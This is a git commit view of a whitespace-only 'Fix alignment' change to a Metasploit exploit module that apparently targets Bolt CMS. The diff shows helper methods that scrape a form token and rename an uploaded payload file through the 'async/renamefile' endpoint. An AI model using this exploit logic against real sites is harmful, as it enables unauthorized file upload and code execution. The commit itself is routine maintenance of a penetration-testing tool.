Fix alignment.

bug/bundler_fix
Roberto Soares 2015-09-09 01:21:08 -03:00
parent 48bd2c72a0
commit 2800ecae07
1 changed files with 5 additions and 5 deletions

View File

@ -97,9 +97,9 @@ class Metasploit3 < Msf::Exploit::Remote
def get_token(cookie, fname)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
'cookie' => cookie
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
'cookie' => cookie
)
if res && res.code == 200 && res.body =~ / name="form\[_token\]" value="(.+)" /
@ -110,8 +110,8 @@ class Metasploit3 < Msf::Exploit::Remote
def rename_payload(cookie, payload, fname)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'async', 'renamefile'),
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'async', 'renamefile'),
'vars_post' => {
'namespace' => 'theme',
'parent' => fname,